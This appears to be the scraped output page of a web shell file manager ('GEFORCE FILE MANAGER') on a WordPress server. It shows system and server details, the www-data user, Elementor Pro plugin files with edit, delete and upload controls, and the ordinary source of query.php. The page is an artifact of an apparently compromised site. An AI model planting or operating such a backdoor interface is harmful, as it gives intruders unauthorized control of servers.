[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor-pro
/
modules
/
query-control
/
controls
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 group-control-posts.php
8,391 B
SET
[ EDIT ]
|
[ DEL ]
📄 group-control-query.php
14,910 B
SET
[ EDIT ]
|
[ DEL ]
📄 group-control-related.php
3,790 B
SET
[ EDIT ]
|
[ DEL ]
📄 group-control-taxonomy.php
978 B
SET
[ EDIT ]
|
[ DEL ]
📄 query.php
1,405 B
SET
[ EDIT ]
|
[ DEL ]
📄 template-query.php
1,597 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: query.php
<?php namespace ElementorPro\Modules\QueryControl\Controls; use Elementor\Control_Select2; use ElementorPro\Modules\QueryControl\Module; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } class Query extends Control_Select2 { public function get_type() { return 'query'; } /** * 'query' can be used for passing query args in the structure and format used by WP_Query. * @return array */ protected function get_default_settings() { return array_merge( parent::get_default_settings(), [ 'query' => '', ] ); } /** * Update control settings using mapping config * * @param $value * @param array $control_args * @param array $config * * @return mixed */ public function on_import_update_settings( $value, array $control_args, array $config ) { switch ( $control_args['autocomplete']['object'] ) { case Module::QUERY_OBJECT_POST: case Module::QUERY_OBJECT_LIBRARY_TEMPLATE: return $this->replace_id_from_mapping( $value, $config['post_ids'] ); case Module::QUERY_OBJECT_TAX: return $this->replace_id_from_mapping( $value, $config['term_ids'] ); default: return $value; } } /** * replace id from config * * @param mixed $value * @param array $mapping * * @return string */ private function replace_id_from_mapping( $value, array $mapping ): string { return $mapping[ $value ] ?? $value; } }